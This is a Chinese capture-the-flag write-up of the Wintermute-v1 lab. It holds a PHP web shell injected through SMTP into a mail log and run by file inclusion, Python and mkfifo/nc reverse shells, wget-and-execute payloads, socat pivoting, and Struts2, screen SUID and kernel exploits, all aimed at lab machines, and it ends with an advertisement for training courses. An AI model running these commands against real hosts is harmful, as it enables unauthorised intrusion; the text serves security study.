打靶日记 Wintermute-v1

admin 2025年4月29日09:55:16评论0 views字数 5756阅读19分11秒阅读模式

一、探测靶机IP(进行信息收集)

查看本机ip

ip a
打靶日记 Wintermute-v1

主机发现

nmap -sP 192.168.56.0/24
打靶日记 Wintermute-v1

二、Straylight靶机渗透

nmap -sS -sV -T5 -p- 192.168.56.102 -A
打靶日记 Wintermute-v1

SMTP信息搜集(25/tcp)

smpt-user-enum 是一款用于 枚举SMTP服务有效用户 的工具,通过发送 SMTP 协议的 VRFY 或 EXPN 命令,验证指定用户名是否存在。

用kali自带的字典在/usr/share/wordlists/metasploit/unix_users.txt,kali上有很多字典

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.56.102

-M VRFY:使用 SMTP 的 VRFY 命令验证用户是否存在(部分服务器可能禁用此命令,可替换为 EXPN 或 RCPT)。

-U:用于指定包含待检测用户名的文件。

-t:用于指定目标 SMTP 服务器的 IP 地址(默认端口一般为 25)。

打靶日记 Wintermute-v1
vim user.txt 
awk -F'[: ]+''{print $2}' user.txt

得到用户名

打靶日记 Wintermute-v1

80端口

网页没有什么信息

打靶日记 Wintermute-v1
打靶日记 Wintermute-v1
dirb http://192.168.56.102
打靶日记 Wintermute-v1
dirsearch -u http://192.168.56.102
打靶日记 Wintermute-v1
nikto -h http://192.168.56.102
打靶日记 Wintermute-v1
打靶日记 Wintermute-v1

这个80端口没有什么有用的东西

3000端口

发现一个登录界面

打靶日记 Wintermute-v1

查看网页源码,发现提示,但是访问不了

打靶日记 Wintermute-v1
打靶日记 Wintermute-v1

尝试admin/admin 登录成功

去访问flags.png

打靶日记 Wintermute-v1

下载到kali上strings,zsteg都没有发现什么信息

80端口没有什么东西,现在基本上就是找几本文件上传

这里发现一个路径去访问,这里flows流记录了访问过的路径,每一个

打靶日记 Wintermute-v1

但是这里也没有什么东西

enp0s3 和 enp0s8 没有发现什么,在lo回环接口的记录里发现一个/turing-bolo/的路径

打靶日记 Wintermute-v1
dirsearch -u http://192.168.56.102/turing-bolo/ -e* -i 200,300-399 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000

case

打靶日记 Wintermute-v1

发现三个日志文件

molly.log armitage.log riviera.log

这三个和后面的都是一样的

molly

打靶日记 Wintermute-v1

armitage

打靶日记 Wintermute-v1

riviera

打靶日记 Wintermute-v1

文件包含

都没有发现什么信息,尝试文件包含

先尝试本地包含

http://192.168.56.102/turing-bolo/bolo.php?bolo=../turing-bolo/molly
打靶日记 Wintermute-v1

尝试了很多但是只有只有包含.log文件才能访问到,所以访问/var/log/mail日志

打靶日记 Wintermute-v1

反弹shell(SMTP)

前面我尝试了,想直接上传访问反弹shell,但是不知道为什么后面连/var/log/mail日志都访问不到了

打靶日记 Wintermute-v1

这里重新下了一个机子,靶机ip变为192.168.56.105

http://192.168.56.105/turing-bolo/bolo.php?bolo=../../../log/mail
nc 192.168.56.105 25
HELO ROOT                #向服务器标识用户身份
MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>"#MAIL FROM:发件人
RCPT TO:ROOT        #RCPT TO:收件人
data                #开始编辑邮件内容
.                #输入点代表编辑结束
打靶日记 Wintermute-v1
http://192.168.56.105/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=ls
打靶日记 Wintermute-v1

可以看到上传成功,尝试反弹shell

http://192.168.56.105/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
打靶日记 Wintermute-v1

反弹成功

建立交互式终端

python -c "import pty; pty.spawn('/bin/bash');"

提权(Straylight靶机)

find / -perm -4000 -print 2>/dev/null
打靶日记 Wintermute-v1

发现screen-4.5,看看有没有历史漏洞

https://www.exploit-db.com/exploits/41154

下载到kali上

#kali
python -m http.server
#靶机
cd /tmp
wget http://192.168.56.104:8000/41154.sh
chmod 777 41154.sh
./41154.sh
打靶日记 Wintermute-v1

在root目录下发现一个flag和note文档

note文档下有提示

/struts2_2.3.15.1-showcase

打靶日记 Wintermute-v1
python -c "import pty; pty.spawn('/bin/bash');"

三、Neuromancer靶机渗透

查看IP我们发现了Straylight靶机另一个IP,这个IP是和Neuromancer靶机同一网段的,确定了范围,就可以扫描Neuromancer靶机的IP和端口了

打靶日记 Wintermute-v1
seq 1 255 | xargs -I{} -P 100 -n 1 bash -c 'ping -c 1 -w 1 192.168.20.$1 &>/dev/null && echo "192.168.20.$1"' _ {}
  1. seq 1 255

    1. 生成 1 到 255 的数字序列(用于 IP 地址最后一段)
  2. | xargs -I{} -P 100 -n 1

    1. -I{}: 定义占位符 {} 接收管道输入的数字

    2. -P 100: 启动 100 个并行进程(加速扫描)

    3. -n 1: 每次从输入中取 1 个参数传递给命令

  3. bash -c '...' _ {}

    1. 启动新的 bash 子进程执行命令

    2. _ {}: 占位符 _ 对应脚本中的 $0{} 对应 $1

  4. ping -c 1 -w 1 192.168.20.$1 &>/dev/null

    1. -c 1: 发送 1 个 ICMP 包

    2. -w 1: 等待 1 秒超时

    3. $1: 从 xargs 传递的占位符 {} 的值(1-255)

    4. &>/dev/null: 丢弃所有输出(静默模式)

  5. && echo "192.168.20.$1"

    1. 若 ping 成功(返回状态码 0),则打印存活 IP
打靶日记 Wintermute-v1

使用脚本探测

#!/bin/bash

for ip in $(seq 1 254); do
   ping -c 1 192.168.20.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done

进行端口扫描

nc -v -z -w2 192.168.20.4 1-65535
-v      # --verbose,显示详细输出(连接成功/失败信息)
-z      # --zero-I/O,不发送数据,仅进行端口探测(快速扫描模式)
-w2     # --wait=2,设置连接超时时间为 2 秒
1-65535 # 扫描端口范围(从 1 到 65535 的所有端口)
打靶日记 Wintermute-v1

扫描出三个端口

8080

8009

34483

端口重定向

如果我们现在想访问这些端口,就需要linux中socat进行重定向

socat -d TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.20.4:8009 &
socat -d TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.20.4:8080 &
socat -d TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.20.4:34483 &
  • -d:显示调试信息。

  • TCP4-LISTEN:<port>:在 IPv4 协议下监听指定端口。

  • reuseaddr:允许端口复用(避免 Address already in use 错误)。

  • fork:为每个新连接创建子进程(支持并发连接)。

  • TCP4:<目标IP>:<目标端口>:将流量转发至目标地址的指定端口。

将本地 8009 , 8080 和34483端口的流量透明转发到 192.168.20.4 的同端口

主机B 位于内网且无法直接暴露到外部,通过 主机A 的端口转发实现间接访问

使用socat做端口转发,访问Straylight本地的端口的流量会通过scocat转发到Neuromancer上

打靶日记 Wintermute-v1
namp -sS-sV -T5 -Pn 192.168.56.105 -p 8009,8080,34483 -A
打靶日记 Wintermute-v1

访问网页

打靶日记 Wintermute-v1

根据上面note文档的提示,访问**/struts2_2.3.15.1-showcase**

打靶日记 Wintermute-v1

发现有一个远程代码执行的漏洞

打靶日记 Wintermute-v1

反弹shell

exp的利用方法

打靶日记 Wintermute-v1

这里同样需要进行一次转发

python -m http.server 4321
nc -nvlp 7777

不要忘了使用python建立一个简单的http服务,nc开启端口监听,这里两个端口同样要进行转发,不然进不去

socat -d TCP4-LISTEN:4321,reuseaddr,fork TCP4:192.168.20.4:4321 &
socat -d TCP4-LISTEN:7777,reuseaddr,fork TCP4:192.168.20.4:7777 &

检查时候设置成功

ps aux | grep socat
打靶日记 Wintermute-v1

根据exp进行利用

python 42324.py http://192.168.56.105:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 192.168.56.104 4444"
打靶日记 Wintermute-v1

这里失败了,看了别的师傅的解释是

这个版本nc不支持该-e选项,并且因为我们使用 来执行 shell 命令java.lang.Runtime,所以 shell 特定的东西(如管道和重定向)可能不起作用;

这里我们将下面的命令写入shell.sh

我这里尝试了4444端口但是不知道为什么失败了就全部换了一个端口,有可能端口冲突了

但是后面才发现,这个玩意的利用方法有问题

注意:这里要改为实际的版本号,也就是struts2_2.3.15.1-showcase,当时没仔细看,搞了好久也不知道哪错了

打靶日记 Wintermute-v1

反向shell的编写

rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.104 7777 >/tmp/f

exp****利用

python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.104:4321/shell.sh -O /tmp/shell.sh"
python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/shell.sh"
python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"
打靶日记 Wintermute-v1

这里基本不可能报错,要是报错就看看python建立的http服务的端口有没有重定向,nc开启监听的端口有没有重定向,反向shell的脚本是否真的传到靶机上了,逐步去排错,可以看到我这里是上传成功了,再依次进行检查

打靶日记 Wintermute-v1

执行完之后可以看到反弹成功

打靶日记 Wintermute-v1

内核提权(Neuromancer靶机)

这里没python,建立不了交互式终端

打靶日记 Wintermute-v1
打靶日记 Wintermute-v1

尝试suid提权失败

find / -perm -4000 -print 2>/dev/null
打靶日记 Wintermute-v1

只能试试内核提权了

uname -a 
lsb_release -a
打靶日记 Wintermute-v1
searchsploit linux 4.4 Ubuntu 16.04

因为是x86-64位,且为4.4.0-116,先尝试44298.c

打靶日记 Wintermute-v1

先进行编译再传上去,靶机上没有gcc

searchsploit -m 44298
gcc -o exp 44298.c
打靶日记 Wintermute-v1

在靶机上直接下载

wget http://192.168.56.104:4321/exp
chmod +x exp
打靶日记 Wintermute-v1

程序依赖问题:可执行文件 ./exp 在编译时链接了 GLIBC2.34 版本的 C 标准库。

系统库版本低:当前系统的 GLIBC 版本为2.23低于 2.34(比如 Ubuntu 20.04 默认使用 GLIBC 2.31),导致程序无法运行。

打靶日记 Wintermute-v1

这里应该是因为我在kali上进行的编译,我的kali是2025的,所以会出现这种情况,这里的方法是没有问题的

END

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记 Wintermute-v1

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记 Wintermute-v1
打靶日记 Wintermute-v1
打靶日记 Wintermute-v1

原文始发于微信公众号(泷羽Sec-临观):打靶日记 Wintermute-v1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月29日09:55:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Wintermute-v1https://cn-sec.com/archives/4013265.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息